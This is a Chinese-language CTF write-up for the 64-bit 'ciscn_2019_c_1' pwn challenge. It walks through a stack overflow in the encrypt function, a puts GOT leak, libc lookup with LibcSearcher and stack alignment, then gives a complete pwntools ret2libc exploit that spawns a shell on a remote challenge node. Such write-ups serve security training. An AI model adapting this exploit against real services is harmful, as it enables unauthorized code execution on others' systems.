首先万年第一步,checksec


没有开启canary,放到ida里静态分析一下


发现在encrypt函数中存在栈溢出漏洞,没有限制s的输入长度,同时也不存在system函数和bin/sh字符串,需要在libc中查找引用,但由于题目没有给出相应的libc库,所以需要使用一下第三方库,这里使用了python中的LibcSearcher来查找libc库
LibcSearcher的项目地址为:https://github.com/lieanu/LibcSearcher.git
该程序为64位程序,不仅需要做栈对齐,还需要找一下gadget
使用ROPgadget指令

$ ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
$ ROPgadget --binary ./ciscn_2019_c_1 --only "ret"

可以得到对应的地址。此时准备工作已经完毕,可以开始利用漏洞了

从libc库中调用函数,需要知道他在靶机中的真实地址,想要知道真实地址就需要知道函数在libc中的地址和偏移。那么我们的第一个任务就是获取函数在libc中的地址和偏移,基地址可以通过调用libcSearcher得到

libc = LibcSearcher('puts',puts_real)#找到对应版本的libc库,只需要调用一次。
#此时调用libc.dump('函数名')即可获取对应函数在libc中的地址


而偏移则需要我们编写payload。
想获取偏移,我们可以通过已知的puts函数,泄露puts函数的真实地址,再用真实地址减去他在libc库中的地址,即可得到偏移,那么第一次利用漏洞可以编写exp如下

payload = b'a'*(0x50+8) + p64(rdi_pop_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

此时返回的值中包含puts函数的真实地址,处理返回值获取真实地址后再减去puts在libc中的地址得到偏移

#处理返回结果
puts_real = u64(c.recv(7)[:-1].ljust(8,b'\x00'))
#获得偏移
offset = puts_real - libc.dump('puts')

最后返回main函数来进行第二次漏洞利用以获取shell。
此时我们已经获取了偏移和基地址,于是我们可以轻易的得到system的地址,bin/sh字符串的地址,再进行一次栈溢出即可获取shell

#获取system的真实地址
system_real = offset + libc.dump('system')
#获取bin/sh字符串的真实地址
bin_sh_addr = offset + libc.dump("str_bin_sh")
#获取shell
payload2 = b'a'*(0x50+8) + p64(ret)+ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_real)


另外需要特别提一下的是需要进行的栈对齐,ubuntu18以上环境64位程序在调用system函数的时候会对栈进行一次检查,此时栈中的内存必须是16位对齐的,因为我们在进行漏洞利用的时候填入了一堆垃圾数据,此时的内存是不对齐的,所以需要再填入一个ret使栈保持16位对齐。更详细的原理可以参考这篇博客

https://www.cnblogs.com/Rookle/p/12871878.html

完整exp如下

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
c = remote("node4.buuoj.cn",26790)
elf = ELF('ciscn_2019_c_1')
ret = 0x4006b9 #栈对齐时使用的ret
pop_rdi_ret = 0x400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload1 = b'a'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
c.sendlineafter("Input your choice!",'1')
c.sendlineafter("Input your Plaintext to be encrypted",payload1)
c.recvuntil("Ciphertext\n")
c.recvline()
puts_real = u64(c.recv(7)[:-1].ljust(8,b'\x00'))
print(puts_real)
libc = LibcSearcher('puts',puts_real)
offset = puts_real - libc.dump('puts')
system_real = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump("str_bin_sh")
payload2 = b'a'*(0x50+8) + p64(ret)+ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_real)
c.sendlineafter('Input your choice!\n', '1')
c.sendlineafter('Input your Plaintext to be encrypted\n', payload2)

c.interactive()